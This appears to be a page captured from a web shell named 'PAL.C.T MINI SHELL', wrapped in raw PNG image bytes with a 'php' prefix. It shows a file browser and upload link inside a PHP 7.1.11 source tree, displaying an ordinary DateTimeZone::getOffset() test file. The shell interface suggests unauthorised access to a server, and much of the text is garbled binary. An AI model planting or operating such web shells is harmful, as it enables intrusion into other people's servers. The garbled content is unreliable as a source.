php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/date/tests/
upload
files >> //php-7.1.11/ext/date/tests/DateTimeZone_getOffset_basic1.phpt

--TEST--
Test DateTimeZone::getOffset() function : basic functionality 
--FILE--
<?php
/* Prototype  : int DateTimeZone::getOffset  ( DateTime $datetime  )
 * Description: Returns the timezone offset from GMT
 * Source code: ext/date/php_date.c
 * Alias to functions: timezone_offset_get()
 */

echo "*** Testing DateTimeZone::getOffset() : basic functionality ***\n";

//Set the default time zone 
date_default_timezone_set("GMT");

$tz1 = new DateTimeZone("Europe/London");
$date = new DateTime("GMT");
var_dump( $tz1->getOffset($date) );

$tz2 = new DateTimeZone("America/New_York");
var_dump( $tz2->getOffset($date) );

$tz3 = new DateTimeZone("America/Los_Angeles");
var_dump( $tz3->getOffset($date) );

?>
===DONE===
--EXPECTF--
*** Testing DateTimeZone::getOffset() : basic functionality ***
%rint\(0\)|int\(3600\)%r
%rint\(-18000\)|int\(-14400\)%r
%rint\(-28800\)|int\(-25200\)%r
===DONE===
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`